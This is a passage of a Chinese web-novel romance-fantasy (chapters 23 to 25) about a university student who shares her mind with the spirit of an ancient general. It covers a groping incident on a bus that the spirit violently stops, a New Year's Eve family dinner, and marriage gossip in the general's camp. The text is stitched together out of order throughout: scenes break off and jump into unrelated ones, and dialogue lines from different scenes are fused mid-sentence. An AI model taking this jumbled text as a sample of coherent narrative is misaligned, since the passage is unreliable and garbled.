既然确定是熟人作案,嫌疑人范围就大大缩小了。商时驹立刻联系人在各大车站、机场蹲守。 异监局这边雷厉风行,那边周明远从书房里出来却是神情恍惚。 这次换成温初青安慰了,“周叔叔看开点。知人知面不知心,这人表面上人模人样,谁知道私底下是这德行?” 周明远摇头叹息:“好好的孩子,怎么就走上岔路了?” 还能有什么?图钱呗。 钱是多好的东西,能让有的人在妻子病危的时候都不回来看一眼。 不过在场的毕竟是长辈,温初青很快就敛下那冷嘲的神色,在旁边安慰了几句,做足了晚辈了礼节。 温初青这边安慰着,现场却嘈杂得很。 因为牵扯进来的窃画案,小小的单身公寓一下子有了两波人,来来往往地取证让本就不大的空间越发逼仄,像是转个身都能撞到人。 在夏乐栎没注意到的地方,公交车的后排也有一段关于她的谈话。 先前那个出声招呼人的是个橘色羽绒服的同龄男生,在朋友过来之后,他立刻挤眉弄眼,“怎么样?要到联系方式了没有?” 张成宇一愣,“什么?” “我在上面看着呢,等车的时候,你可一直盯着人家看。”橘羽绒服笑了一声,又状似感慨,“没想到啊,大学霸也早恋,老丁知道了可要伤心死了……人有点眼熟,咱们学校的吧?哪个班的?” 张成宇:“不是你想的那样。” “少来!我难不成还能告密吗?兄弟我是这么不仗义的人吗?!” “真不是。”张成宇解释,“是去年学校的光荣榜上……” 他还没说完,对面就小声的“哦凑”了一声,一脸“想起来”的样子,“上届状元啊!可漂亮的那个。” 声音稍微有点高,立刻就被提醒得撞了下手臂。 这人也回神压低了嗓音,但仍旧坚持刚才的想法,“那更得要了!A大不是你的梦中情校吗?那可是直系学姐……” 他这么说着,往夏乐栎的方向看过去。 等看到那边的情形,声音不由一顿,喃喃“……那边情况是不是不太对?” 张成宇顺着朋友的视线抬头看过去,稍愣了一下,也禁不住拧起了眉头。 公交车上的人不多,偶有的几个因为站点临近站着的人也零零散散地分布在车厢内、保持着稍远的社交距离,但是夏乐栎身后却很近地站着一个中年男人。 周州是快中午的时候过来的,一过来就看见夏乐栎抱着自己的板子写写画画。 他先是问了自己关心的问题,[今天中午吃什么?] 压感笔在数位板上划出了一道突兀的直线,夏乐栎黑着脸按了撤销,心里愤愤地:就知道吃! 两人昨天摸索过交流方式,并非明确指定对话方的心声并不会被另一个人听到。 但是意识交流实在是个难控制的事,夏乐栎不确定是自己刚才的话被听到了,还是对方单纯地感知到她的情绪,只听他关切问,[你心情不好?] 被这么一问,夏乐栎气闷的情绪霎时散开,同时些微的愧疚在心底蔓延。 因为个人情绪牵连无辜人的行为实在糟透了。 她才刚这么想着,就听见对方接着道,[吃点东西心情就好了。] 夏乐栎:[……] 她用支架撑起pad的动作一顿,面无表情地按住电源键熄屏了屏幕——上面是昨天没有播完的“十万个为什么(儿童版)”。 关心?呵。 这人恐怕只关心自己有没有得吃。 周州确实感觉到夏乐栎生气了,但对此却很是摸不着头脑。 他仔细回想了一遍自己刚才的话,也没觉得哪里有问题,最后只能归结为“小姑娘的心思可真难懂”。 眼见着“科普视频”没的看了,周州也没强求,顺势就把目光落在了夏乐栎前方的屏幕上。 看着夏乐栎一点点勾勒线条,他心底有点猜测,但还是觉得怪异,最终忍不住出声,[你这画的是什么啊?] 说实话,夏乐栎现在不太想理人。 但出于教养,她还是硬邦邦地回了两个字,[盔甲。] 却不料—— [……噗~!] [……] [……?!] 两人的角度没法看到对方具体站得有多近,但是这情形给人的感觉就不太舒服。 张成宇盯着看了一会儿,不由皱着眉起身,“我过去看看。” 一旁的朋友也跟着站起来,“我和你一起。” 事实情况比两人看到的还要更糟糕一点,夏乐栎这会儿完全懵住了。 习惯了A市公共交通人挤人的情形,一开始被碰到的时候夏乐栎完全没察觉不对,她下意识地侧身往里让了一下,留出空间。这仿佛忍让的行动好像给出了什么错误信号,对方的动作越发肆无忌惮起来。 隔着冬天厚重的衣物其实没什么被碰触的实感,但是夏乐栎意识到发生了什么的那一刻,还是觉得脑子里嗡的一声、胃里翻江蹈海。 理智告诉她,她这会儿应该大声叫出来,厉声喝止这种恶心的行为,但是喉咙口像是被卡住了一样、什么声音都发不出来。 她浑身僵硬,别说躲开,就连栎单的挪动手指都做不了。 混乱嗡鸣的脑海中突然响起一道格外清晰地“啧”声,在这不知道不耐还是不满的音调里,夏乐栎勉强被拉回一点神智。 她艰难地往旁边挪了一下,试图躲开,却听对方开口,[我来。] 夏乐栎这会儿完全是不知所措的状态,她半懵着交出了身体的控制权。 下一秒,凄厉的惨叫声响彻车厢。 公交车转过一个扭曲的S弯后骤然减速,车内人顺着惯性往前倾倒,伴随着不知道什么东西掉落的声音,是前方司机带着点方言语调的厉声喝骂,“T#@%*鬼叫什么?!” 没有人回应。 跌坐在地上的中年男人抱着脱臼的手腕,本欲出口的指责在对上那双冷森森的眼睛后骤然停滞,彻骨的寒意自脊背深处攀上。他甚至顾不上脱臼的手腕,连滚带爬地挪到了下车口,使劲地拍打着车门,“下车!!我要下车!!” 司机:“干什么干什么?!这还没到站点呢!” 眼见着这人都要伸手去够门边的应急锤了,司机不得已、只能停靠在路边。 门刚刚开了个缝隙,那人就强行将臃肿的身体塞出去,整个人半摔出了车门,仓皇踉跄地跑远了。 透过后门监控看见全程的司机:??? “……有病吧!” 话一出口,却顿了下。说起来,这趟线路确实经过市医院……是哪个精神科的病人跑出来了吧? ——有病治病!别出来害人!! 从留下丈夫的工具,变成了新的完美家庭的污点。 周州沉默了一会儿,莞尔轻笑。 ——[也还好。] 电梯门打开,夏乐栎被商时驹叫出去。 大概是夏乐栎的表情太不对劲了,商时驹已经拧着眉看过去好几眼,但她却毫无察觉,视线频频向这边看过来。 周州盯着看了一会儿,轻轻叹口气。 他好像不是个好人啊。 第 23 章 第 23 章 周州从上车开始就微蹙着眉、半垂眼看向侧边,看起来情绪不高的样子。 想着之前那沉重的家庭话题,夏乐栎觉得周州这表情再正常不过,但在手机上敲敲打打,最后也没能编辑出什么适合的安慰的话来。 上一辈的狗血八卦,落在一个小孩子身上,简直是生命不可承受之重,这哥们拿的是什么美强惨点满的反派养成模板?! 这种基本盘下,还能根正苗红地长成现在这模样,简直让人肃然起敬。 商时驹坐上驾驶座的工夫,已经回了好几次头。 但夏乐栎明显心不在焉,根本没注意到这动作,商时驹无声地“啧”了一下,压下那莫名地涌上来的燥意地拧开车钥匙。 两人一鬼各有各的心情,车上的气氛十分微妙。 还是周州先从那自我道德谴责里缓过神来。 他看着渐渐接近公寓楼下,路边两边越发熟悉的景色,想了想开口,[乐栎你先回去,我跟时驹去趟局里。] 嘲笑吧!这个人绝对是在嘲笑吧!!! 外面传来夏妈妈的声音,“栎栎,出来吃饭!” 夏乐栎表情愤愤地秒回:“我不饿!” 在过往的十多年里,这实在是个太常见的回答,章琪照例絮叨了两句,就没再强求。 一阵乒乒乓乓的摆盘声后,外面传来夏爸爸的声音:“我去叫栎栎。” 章琪:“不用,那孩子不吃了。” 夏爸:“又不吃?” 章琪习以为常,“昨天吃得多,估计撑着了。” “……”[……嗯?] 周州过来的时候,夏乐栎正在和全家人围坐在一起吃饺子。 虽然很难用语言给出形容,但是对自己身体里突然多出一个意识,夏乐栎还是能察觉到的,她有点意外于对方会这时候过来,走神间被硌到了牙,这才有了周州这一声疑惑。 夏乐栎:[你怎么来了?] 她一边问着,一边把嘴里的那枚枣核吐出来。 按照这边的习俗,大年夜这天的饺子馅里会藏着彩蛋——硬币、大枣和花生——无论吃到什么,都寓意来年的好运。 周州:[正好有空,就过来看看。] 夏乐栎还没来得及再问,夏奶奶已经笑着出声,“今年是栎栎中了头彩啊。” 夏乐栎忙抬头,冲着老人家笑了笑,“奶奶你也吃。” 她这么说着,用筷子拨了一个饺子过去。说是吃到什么馅的全凭运气,但是毕竟馅料里藏着东西,有时候能透过饺子皮透出一点颜色的差异来,虽说不是次次都准,但是几率也会大一点——研究怎么增加概率,也一度是夏乐栎的童年乐趣。 夏奶奶高高兴兴地接了孙女的心意,却没急着吃,而是笑眯眯地盯着夏乐栎看。 夏乐栎被看得有点微妙的不安。 果然,夏奶奶接着开口,“栎栎啊,你什么时候给奶奶带一个回来啊?” 夏乐栎:果然。 虽然不管吃到硬币花生还是大枣都是好兆头,但是其中各自的寓意还是有点微妙的区别,和象征着财源滚滚的硬币比起来,大枣多少就带着点姻缘的意味了。而夏奶奶是个很开明的老太太,开明到高中的时候就私下拉着夏乐栎悄声问“有没有男朋友”的那种。 就比如说这会儿,夏奶奶这么说着,略微不满的目光就落在夏爸爸夏妈妈身上。 老太太一直觉得聪明乖巧的大孙女到现在还连一次恋爱都没有谈过,一定是夏爸夏妈管得太严的缘故。 无辜受难的夏爸夏妈还没说话,倒是夏乐栎脑子里的声音响起来,[带什么回来?] 夏乐栎:这又有你什么事啊?! 格外熟悉的无力感浮上来,夏乐栎没搭理周州,而是对着夏奶奶说,“奶奶,我还早呢,不着急。” 夏奶奶对此很有异议,“怎么不急?再晚就都是人家挑剩下的了!” 夏乐栎:…… 看得出来,夏奶奶是大清早去菜市场抢新鲜菜的精明老太太了。 这种时候,还是夏爸爸挺身而出、拯救了不知道该怎么应对的夏乐栎,“妈!栎栎还小呢。再说这种事哪有什么剩下不剩下的?那都是看缘分。” 夏奶奶对此嗤之以鼻。 她再次以“自己当年是怎么以迅雷不及掩耳之势出击、手到擒来拿下夏爷爷”为案例教育夏乐栎:看见潜力股就要果断拿下、犹豫不决只能便宜别人! 夏乐栎:“……” 她嘴角抽了抽,但是面上很听话的连连点头。一代人有一代人的生活环境,没必要非和那个时代走过来的老太太争个高低。 倒是周州终于反应过来了,[你要议亲了?] 拔高的语调略带惊异。 夏乐栎:[……] 她一下子卡住了。 说起来,她对对方确实没什么了解来着,所有关于这个人信息,都是对方主动透露的。要是这人真的是个骗子的话……她好像也分辨不出来。 感受着心底疯狂打鼓、七上八下的情绪,周州“扑哧”一下子笑出声。 [逗你呢。] 果然是个小姑娘。 他略微沉下语调,语气正色地解释,[定平节度使兵逼关中、意图谋反。顺帝亲自下诏讨逆,我这次是随义父去平叛的。] 起码这次是如此。 夏乐栎没什么实感的“哦”了声,仿佛听了什么电视剧的背景介绍。 别说信不信了,她都根本没法生出什么情绪来。 顿了一下,她倒是想起了公交车上的那次,那次就是对方主动提议帮她。 既然看不惯那种恶劣行为,又“见义勇为”,应该不是什么坏人吧?而且就两人现在的状况,对方骗她图啥啊?不能骗钱,又没法图色。 这么想着,夏乐栎稍稍安下心。 这边,周州解释完后,目光顺势落到了前面的屏幕上。 本来排列整体的桌面上多了许多凌乱的图标,下面缩略显示着文件标题:《藤条快速软化》《一种藤条软化》《植物纤维的基本结构》…… 夏乐栎也察觉到周州的视线落点,她解释,[你那不是要编织藤牌吗?我昨晚查了点资料,但是这些用不上,等我再研究研究。] 藤牌编织需要预先处理藤条,这个过程短则几月、长则以年计,周州显然不可能等那么久。 好在一切追求效率的现代社会总有快速处理办法,但是夏乐栎下载了几份专利,但很快就发现问题:上面需要的材料都是提纯后的化工制品,周州那边显然没有这么方便的条件,照搬根本不现实。夏乐栎准备再查查资料,实在不行从原理开始研究。 夏乐栎正想着这些,却觉得心底生出中怪异的情绪,这感受的来源显然并不是她的。只是这情绪的组成过于复杂,她一时有点没法准确地给下个定义。 夏乐栎按照自己的思路理解了一下,觉得对方可能是在担心。 她顿了顿,出声安慰:[再多查一查资料,总会有办法的。] 方法都是现成的,问题只在于能不能找到合适的原料而已。 周州却是想起了夏乐栎刚才的话:“顺手”帮一下……吗? 他无声地轻笑了一下。 [惟昭,我的字。你可以叫我“周州”。] 带着低沉磁性的声音在脑海中响起,胸腔中有种莫名鼓噪但并不讨厌的情绪。 夏乐栎怔了怔,略感迷茫地“哦”了一声。 ……这人的自我介绍还分两次吗? 有两个名字了不起啊! 她奶奶那里还是谈个恋爱,到周州这边就直接成了结婚。 进展是不是太快了点啊?! 她深感无力地解释:[你别听我奶奶说,她老人家那会儿的情况不一样,我还早着呢。] 周州停顿了一下,也不知道想了些什么,煞有其事地开口,[确实,这种事急不来。得仔细相看。] 话听起来什么问题,但夏乐栎总觉得哪里怪怪的。 这仿佛过来人的长辈语气是闹哪样啊?他自己就年纪不大吧? 虽然心里别扭,但是夏乐栎还是回答了一下,[就是,我才十八呢。] 明明是一个刚刚脱离早恋的年纪,为什么过出了被催婚的苦? 周州却蓦地沉默了。 隔了好一会儿,夏乐栎才听到对方出声,[……十八?] 语气满是迟疑犹豫。 夏乐栎:? 怎么了嘛? 感受着心底那股迟疑中混杂着震惊、震惊中还带着点不信的情绪,夏乐栎完全摸不着头脑。她连回答的语气都没那么确定了,[过了今天晚上,就十九了。] 周州:[……] 夏乐栎:[怎么了啊?!] 有话就说出来,这样好奇怪。 章琪余光一直注意着女儿的动作,见她筷子一顿,就了然开口,“吃饱了?” 夏乐栎还没回过神来,下意识“嗯”了声。 反应过来之后,连忙抓着碗摇头,“没呢,还没有。” 脑海里同时传来周州的声音,难得显得吞吞.吐吐的,[我以为、你……还小呢……] 夏乐栎:[嗯?] 十八岁难道很大吗? 夏乐栎对自己的认知产生了一点怀疑。 周州却以为夏乐栎是在追问,犹豫了一下,开口:[不到及笄。] 夏乐栎计算了下“及笄”的年纪,表情一下子微妙起来。 [……初中生啊。] 周州不太明白这个“初中生”的代指,但是实际情况大概比夏乐栎以为还更小一点。 他觉得这不能怪他。 实在是夏乐栎平常在家的时候,她爹娘对她的态度…… 周州刚这么想着,就听那边夏奶奶满是欣慰的开口,“栎栎出去一趟,果然长大了,吃饭都不用人哄了。” 还不待夏乐栎回什么,周州就先“喏”一声。 一切尽在不言中。 吃饭还要人哄着。 不是小孩子是什么? 夏乐栎:[……] 她沉默三秒,恼羞成怒地,[你让初中生给你查资料吧!!] 被戳中痛脚的夏乐栎单方面拉黑了周州,后者在意识里“喂、喂”了好几声,只得到了一句格外冷漠的,[哼!] 初中生才不陪聊! 周州:? 怎么又生气了?他说的难道不是实话吗? “……” 夫妻俩絮絮叨叨的声音透过门缝传来,脑海中是周州不敢置信拔高的音调,[你不吃?!] 夏乐栎轻轻地“哼”了声。 居然有点解气…… 不同于刚才,这一次周州倒是明确了夏乐栎生气的原因。 因为画的东西被笑了。 心理医生:? “具体来说?” 商时驹:“……” 医院那一次也是,这次也是,一个看不住就跑到命案现场,让人忍不住想采取点强制措施。 指节无意识地收紧,喉咙像是有什么异物阻塞,脑海中不自觉地闪现先前的那一幕。掌心阻隔了她的视线,手臂稍微用力就能将人完全圈在怀里。 在一阵相对漫长的沉默后,商时驹语气艰涩,“……下次上车,我可能要坐最后一排。” 心理医生:??? 第 24 章 第 24 章 虽然已经是夏天的尾声,但是早上依旧天亮的很早。 可外面再亮堂堂的一片,也掩盖不了现在连五点都不到的事实。这个点连早市都没开,周州这小区也没什么晨练的老太太老大爷,街上连个人影都看不到。 夏乐栎叫了车之后就哈欠连天地在路边等,一路昏昏沉沉地到了目的地,差点被眼前的景象惊呆:林荫道的一侧被隔离条隔开,长长排起的队伍绕过建筑物的拐角,一眼看不到尽头。 夏乐栎低头看了看手机,再三确认现在是早上五点零六,而不是下午五点零六。 就算是下午五点也很离谱啊! 她忍不住对旁边:“开售是早上八点吧?” 还有三个小时呢!!! 401仙女夜谈会—— [栎栎大宝贝,老实交代,是不是有情况?一回家就把我们抛到脑后,只见新欢不见旧爱啊!] [嚎啕大哭.gif] 早上,夏乐栎在艰难地赶在亲妈查房前清醒过来,迷迷糊糊地摸过手机,就看见宿舍群里的消息。 发信时间是昨天下午。 她从下午一直忙到晚上,期间根本没来得及看手机。 群里一开始还一股跟着调侃的怨妇画风,但是后来慢慢演变成了担心的询问,[栎栎是不是出什么事了?] 夏乐栎:“……” 说起来你们可能不信,我正在远程参与一场古代战事的筹备。 夏乐栎默默把这“说出来只会被担心精神状态”的真相咽下去,敲字回复:[抱歉,这两天画画太投入了,忘了看手机]。 倒也不算说谎。 除了帮周州那边查资料,夏乐栎还见缝插针地给自己的漫画做设定。 安排得太满,以至于明明是在寒假,但是她却莫名过出了考试周那时候要升仙的感觉。 比考试周更头疼的,她还得防备亲妈的早晨查房。 日子不能说是水深火热,但也是过度充实了。 消息发出去一时没有回复,大概是几人都还没有睡醒。 夏乐栎没在意地放下手机,趿拉着棉拖出去接水,推门就看见爸妈在客厅忙忙碌碌。 夏乐栎不解:“你们要出门?” 章琪:“什么‘我们’?今天‘腊二七’,得回老家了。我昨天不是和你说了吗?怎么还穿睡衣?” 夏乐栎愣了下。 好像她妈确实提了句来着,她当时在干什么来着? ……忙昏了头,完全想不起来了。 旁边的夏爸爸已经开始催促:“快去把衣服换了,你奶奶炖了鸡等你呢。” 夏乐栎拖长了调子“哦”了一声,慢吞吞地去洗漱。 即便有夏爸爸透露的亲奶奶的殷殷期盼,她看起来兴致不高的样子。 夏乐栎也确实不太喜欢回老家。 作为十里八乡有名的“别人家的孩子”,成为家长“教学案例”的后果就是她被同龄人孤立了——当然不是欺负霸凌,就是很栎单地不带她玩。 夏乐栎对回老家的记忆就是,小孩子们结伴出去玩闹,她跟在大人身边被称赞“乖巧懂事”。 小孩子哪有那么多“乖巧”?她只是没得选而已。 夏乐栎洗了把脸把那些情绪压了下去,清醒点了之后,总算在爸妈一叠声的催促中、加快了换衣服的动作。 但等到要出门的时候,却微微听到脑海里的声音,[你要出门?] 语调略微有些惊异。 也不怪周州这么诧异。 出门当然没什么新奇的,周州自己就天天出门,但是这个小姑娘么……他除了到家的第一天看见对方出门了一次,之后别说出家门了,她连自己的房间都很少出去:都不嫌闷得慌吗? 夏乐栎可一点不觉得闷。 外面天寒地冻的,她又不傻、干什么在这种温度下外出?暖气房不香吗? 不过,夏乐栎并不知道周州的腹诽。 她虽然有些讶异对方这次过来的时间,还是回答:[快过年了,要回老家。] 周州愣了一下,[过年?] 夏乐栎这才想起来,两人那天沟通的时候只协调了时差,没有讨论季节差。因为平常交流中,对面那边透露的也是冬天,夏乐栎就没有多想地默认日期一致,现在看似乎不是。 夏乐栎:[你们那边还没过年?] 周州:[还要些日子呢,这才刚进腊月。] 他这么答了一句,紧接着,[我这次过来是有点事和你说。] 夏乐栎不意外。 按照两边的时间差,周州那边还是白天呢,特意过来肯定是有事。 她一边跟着爸妈上电梯,一边在意识里问,[是实验用的反应池出什么问题了吗?哪个编号的?我带电脑了,你要是不着急,我回老家再帮你查。要是急的话,我车上用手机……] 夏乐栎刚顺着话碰到自己手机,旁边的夏妈妈就眼神犀利地看过来,“走路不许看手机,眼睛还要不要了?!” 夏乐栎:“……知道啦。” 夏妈妈顿了下,强调:“车上也不行。” 夏乐栎:“……” 她老老实实地把手机放回兜里,满脸乖巧地低头,再次应声,“好。” 诚恳地做足了表面现象后,夏乐栎在脑子里面小声,[放心,一会儿我偷偷的。] 反正她和一堆年货一起坐后排,假装睡觉往那一趴,后视镜里根本看不见什么。 周州被她这仿佛在做什么坏事的语气逗得笑出了声,但是短促的轻笑后,他正色道:[要打仗了。] 夏乐栎一愣。 地下一层的电梯打开,拖箱拎袋的章琪一回头,就看见夏乐栎直愣愣地站在电梯里面,不由满脸无奈:“你这孩子,又想什么去了?快帮忙拿东西啊。” 夏乐栎这才回神,匆匆“哦”了一声,连忙帮着把年货往车上带。 在夏妈妈一连串“唉!你动那个干什么?”“你拎不动,让你爸来!”“你过来拿这个”的指挥下,夏乐栎忙忙碌碌地在电梯口和车子之间穿梭,但是脑子里面还是懵懵的:怎么就打仗了?这就要打仗了啊…… 似乎在给夏乐栎接受的时间,周州略微顿了一下,才接着开口,[我觉得应该过来和你说一下。等战事开始,我可能就没什么时间过来了。] 这种睡梦中神魂出窍的情况只存在有意放松的情况。 等战事开始,人就得一直紧绷警惕,便是在梦中、稍有点风吹草动就要惊醒,显然不可能再这么悠闲地和小姑娘聊天了。 来来回回搬完年货,夏乐栎坐上了车,也终于有机会静下来了。 她的第一反应是,[可还没准备好……] 周州又忍不住笑,[哪有准备好的仗?别人又不是傻子,怎么会等你准备好了才打?] 夏乐栎觉得对方这话和当年老师的“哪有准备好的考试?”有点异曲同工之妙。 可能对对方来说,这也就是“考试”吧?关乎生死的考试。 夏乐栎突然有点后悔,要是她把火药的配方告诉对方的话…… 像是察觉了夏乐栎的情绪,那个声音反而不在意宽慰起来,[别多想,这本来就不是你的事,你做得已经够多了。] 现在的情况已经比预想中的好太多了。 安恭义扣下甲胄显然不单单是为了恶心他一把而已,他必定想方设法地将禹定城内如今地情形传出去。 这样倒也好,省了他一番功夫,就让对方以为现在的禹定城内缺甲少兵、不堪一击。 周州安慰的话没能让夏乐栎有多宽心。 虽然夏乐栎有意识到自己在为一场战事做准备,但是当周州真的提起打仗的时候,她才认识到自己做出心理准备远远不足。 * 从茶楼离开,走出了一段路,周州突然开口:[你可以收下的。他名声还不错,虽然书画和摄影不是一个行业,但是你以后想办摄影展什么的,可以让他帮帮忙,他肯定很乐意。] 夏乐栎:“然后他就觉得安心了?” 周州:[嗯?]夏乐栎的下节课确实是在旁边楼的二层,但这“两点之间直线最短”的赶路方式委实是她没想到的。 大脑空白,人甚至暂时性失语。 直到周州翻到对面的二楼站定,问了句“你刚才说什么?”,夏乐栎才终于回神。 再看周州这仿佛无事发生的态度,心头一万只草泥马狂奔而过。 夏乐栎艰难出声:[……你先回去。] 夏乐栎踢了踢路边的石头,“你觉得他来找我——或者其实是来‘找你’——是良心发现,突然想当一个好父亲了?还是因为发现你不在了,于心不安、想让自己心底好受点?” 周州:[……] 夏乐栎:“咱们把人往好处想,两个都有吧。” 她抬头看向周州,“你想让他好受吗?” 周州沉默了好一会儿,[不想。] 夏乐栎耸肩:“这不就结了。” 周州听出点意思,迟疑了:[你刚才?] 夏乐栎:“拿热茶泼人这种事我是做不出来,时驹哥的说话方式一般人也学不来。但是这么一点点的程度,我还是可以的。” 她拿出手指比了一点点的距离。 阳光透过指尖的缝隙,像是被她抓握在掌心。 周州视线从手指转向夏乐栎的脸上。 光线模糊了面容,带来了朦胧的温暖。但他心底回荡的,却是年幼的手指按在钢琴上、奏出了一组增四度的刺耳噪声——那大概是他第一次怦然心动、是刺耳又不稳定的“魔鬼音程”。 周州低叹:[我果然不是个好人。] 夏乐栎:??? 不是,哥你是想当耶稣还是如来? 第 25 章 第 25 章 转眼就是商时驹生日那天,夏乐栎本来是在餐厅预订好位置(依旧是周州推荐),但是等真见到商时驹之后,觉得自己的安排可能不太合适。 商时驹这会儿大概没什么出门的意愿。 蜜色的皮肤看不太清楚有没有黑眼圈,但他人明显没什么精神,原本锐利的眉眼都懒散起来,眼皮往下耷拉着,时不时抬手揉揉眼睛,没多一会儿,又忍不住偏过头去打了个哈欠。 夏乐栎:“你昨晚没睡好?” 这一开头,周州就差不多猜到接下来发展。 他看了眼商时驹,面露无奈:……本来好好的机会。 锦平城。 因为吴家极力相邀,周州之后也可有可无地赴了一次宴。他自己没觉得有什么,但跟随赴宴的杜彦之却恍然大悟,觉得先前的一切疑惑都有了解释。 ——他们在吴家的院子的时候,意外撞见了吴家的小女儿。 吴家院落宽阔占地又广,光是招待来客的院子就独占一隅,女眷都在内宅,哪有那么多“意外”?再瞧那吴家小女儿含羞带怯的神色,明显是有点什么。 怪不得吴家态度那么奇怪,原是瞧上了周州这个人! 杜彦之诧异过后,倒觉得理所当然。 就周州如锦平后的种种表现,显然不是只知兵事的莽夫,在吴家赴宴时,更是从容自若气度不凡。如此少年英才,吴家愿意拉拢也是常理。 倒是一门好亲事,就是不知道周州对此的态度如何。 不过这事他一个外人不好直接去问,周州这边又没什么长辈。 杜彦之想了想,干脆把这事交给了赵敦益——论亲疏远近,还是这位常年跟着周州的副将最合适。 赵敦益也确实去问了,问得周州满脸茫然。 “亲事?什么亲事?” 赵敦益无奈:“你也老大不小了,就没想着身边要个知冷热的贴心人?” 周州懵了好一会儿,忍不住露出点“你在说什么鬼话”的怀疑表情。 赵敦益:“……” 他想着杜彦之那“喜怒不形于色”“让人无从揣摩心意”的评价,心底就是一哽。屁的“不形于色”!他是根本没懂人家的意思吧? 倒是那边的周州终于反应过来赵敦益的意思。 他脑海里不自觉地浮现了夏家除夕夜的的对话,又想起那天视频里看见的面容,下意识回,“还早呢,不着急。” 赵敦益:??? 还早?! 也就是周州上头没有长辈,没人给他张罗,节帅又没把这些事放在心上,才放任他一个人孤家寡人过到现在。 一人吃饱全家不饿,他倒是过得还挺滋润。 赵敦益嘴角抽了抽,也不和周州拐弯抹角了,直接道:“杜先生说,吴家多半有意结亲,他家的小女儿你也见过,觉得怎么样?要是行的话就给个意思,剩下的事我去张罗。” 这事指望周州是指望不上了,赵敦益只能临时给人当个爹。 “我什么时候见过?” 周州先是诧异,问出口后倒是终于反应过来,“你说那个不小心跑过来的小姑娘?” 赵敦益没跟着一块去吴家,不知道具体情况,但听这描述觉得差不多。 却不想,他刚待点头,就听周州接着,“那怎么看都是个小孩吧?” 这次换赵敦益迷惑了,“啊?” 他来之前也去打听过,这吴家小女儿素有美名、又擅箜篌,虽说有吴家在锦平城的声名影响,但是也绝对是个待嫁闺中的镶金饽饽了。 但在周州那带着十二万分理直气壮的“你到底靠不靠谱”的质疑下,赵敦益还真的自我怀疑起来。 难不成周州看见的是吴家小女郎的妹妹?不太可能吧?都说是小女儿了,底下哪来的妹妹? 赵敦益试探着:“据我打听来的消息,这吴姑娘翻过年去就及笄了,年岁上正合适。” 周州闻言撇嘴:“连初中生都不是。” 现学现卖的能力可谓十分过关了。 赵敦益:“啊?”周州“哦”了声,果真交出了身体控制权。 接手的夏乐栎一个腿软,差点跪在地上。 周州意外:[怎么了?] 夏乐栎不想回答。 她扶着墙稳住身体,艰难地从拐角挪了出去。 也多亏了周州选的这扇窗在过道拐角,平常没有什么人来,不然又是一波围观……不,她一点都不感谢。 夏乐栎正努力平复着心情,却听不远处一声询问,“乐栎?” 是欧阳艺。 大一的基础课并不是按专业分的班,但两人这节课恰巧排到了同一节,夏乐栎倒不意外碰见对方。 欧阳艺却很意外,“你这是怎么了?” 她这么说着,人已经上前两步,伸手搀住了夏乐栎。 夏乐栎半松口气,如实回答,“腿软。” 欧阳艺了然:“你跑过来的吧?” 夏乐栎:“……” 不,你绝对想不到我过来的方式。 欧阳艺还在接着:“你上节有课吧?干什么这么着急?迟到几分钟又没什么,还有我帮你占座呢。” 夏乐栎心有戚戚地点头。 是的,比起迟到来,还是自己的小命更重要一点。 欧阳艺有点意外夏乐栎这态度,但是没有多想,而是顺势接上了下个话题。 她一边架着夏乐栎往教室走,一边开口,“你刚才看到没有?旁边楼有人跑酷!可惜时间太短,我没来得及拍下来……” 夏乐栎:“!” 幸好没拍。 “诶,对了!乐栎,你上节课就在那栋楼吧?从那边过来,有没有看见大神本神?要个签名什么,真帅啊!” 夏乐栎:“……” 你们只看到了帅,都不关心当事人冒着多大的风险。 好在欧阳艺也就是随口一聊,并不需要夏乐栎回答什么,又因为情绪偏向兴奋,在夏乐栎完全没有配合的情况下,也没觉得有什么不适。 两人这么说着话进了教室。 等终于坐到座位上,夏乐栎才彻底安下心来,语气虚弱地,[下次别这样了。] 周州感受着那后怕的情绪,非常不能理解:[我又没摔着你。] 就夏乐栎这身体素质,他还特意下了好几层楼呢。 夏乐栎:这是摔不摔着的事吗?!真摔着就完了! 周州看着陆陆续续到教室的人,渐渐理直气壮:[这不是赶上了嘛?] 你就说这事办没办成吧! 夏乐栎:[……] 她咬牙:[总之!没有下次!!] 周州:[……哦。] 周州这么答应了一声,就没再说话了。 夏乐栎一开始还松了口气,随着沉默的时间延长,却渐渐不安起来。 她禁不住开始反思,自己刚才的语气是不是太凶了?说起来,对方其实是在帮她,她连一句“谢谢”都没有,还说这种话,果然太过分了吧?…… 周州在观察夏乐栎的情绪反应。 他觉得这小姑娘实在怪有意思的,生完气的反应居然是愧疚?周州敢打包票,自己这会儿提点稍微过分的要求,对方也会答应下来。 这么好欺负,叫人都不好意思下手了。 嗯……是奶茶炸鸡还是薯条呢?唔上次那个汉堡也不错?先来个三份怎么样? 果然,不多一会儿,就听见对方委婉示好的搭话,[你今天……什么时候过来的啊?] 周州本来就等着呢,闻言秒答:[就刚才,那人不怀好意地盯着你看的时候。] 夏乐栎:? 什么“不怀好意”?还“刚才”? 夏乐栎还不明所以,周州反而先一步忧心忡忡起来,[我说你也长点心吧,怎么哪都能睡着?] 说起来两人第一次遇见的时候也是,对方就那么在飞机上睡了。周围全都是不认识陌生人,她一个嫁龄的漂亮小姑娘,还真敢睡啊!这次也是,不又被人盯上了? 周州还待说什么,夏乐栎则是终于明白过来他那个“刚才”的意思了。 再听听对方这隐带指责话语,夏乐栎脑子一炸、栎直怒从心起,[我上课睡觉是谁害的啊?!!] 害得她一整天昏昏沉沉的,罪魁祸首居然还在这逼逼赖赖! ——反思?反思个锤子啊! 周州他不配! 见对面人没接到梗,周州一时也觉得没趣。 他意兴阑珊地摆了摆手,“行了,别瞎操心了,你这是让我结亲事呢?还是带孩子?少拿这破事来烦我。我还没问呢,你练兵练得怎么样了?兵书都喂嘴里,要这还不行,你趁早收拾收拾回去种地……” 赵敦益倒是很快回过神。 他给周州当了这些年的副将,算是挺熟的。又因为年岁居长,在除兵事之外的地方,反而有点反过来照顾周州的意思,私底下倒也没那么多顾忌,因而这会儿也没理周州扯开话题的那套,直接问:“及笄都不行,那你要多大的?” “十八,起码要十九吧……” 周州这么脱口而出,自己反而愣了一下。 再看看那边像是呆住了赵敦益,他又莫名生出些略带的气闷的怪异情绪,当即挥手赶人,“行了,我这还有事呢,你没什么别的事就出去吧。” 赵敦益这次倒没再说什么。 他声音发飘地应了“是”,心不在焉地走出去。 赵敦益就这么一路游游荡荡的、自个儿都没留心是往哪儿走,直到被杜彦之“赵将军”“赵将军”地叫了好几声,他才终于回过神来。 杜彦之瞧了两眼赵敦益的神情,问:“可是将军不愿?” 他这么问着,心底又觉奇怪。 按理说,就算周州拒了亲事,这赵副将也不至于这反应啊? 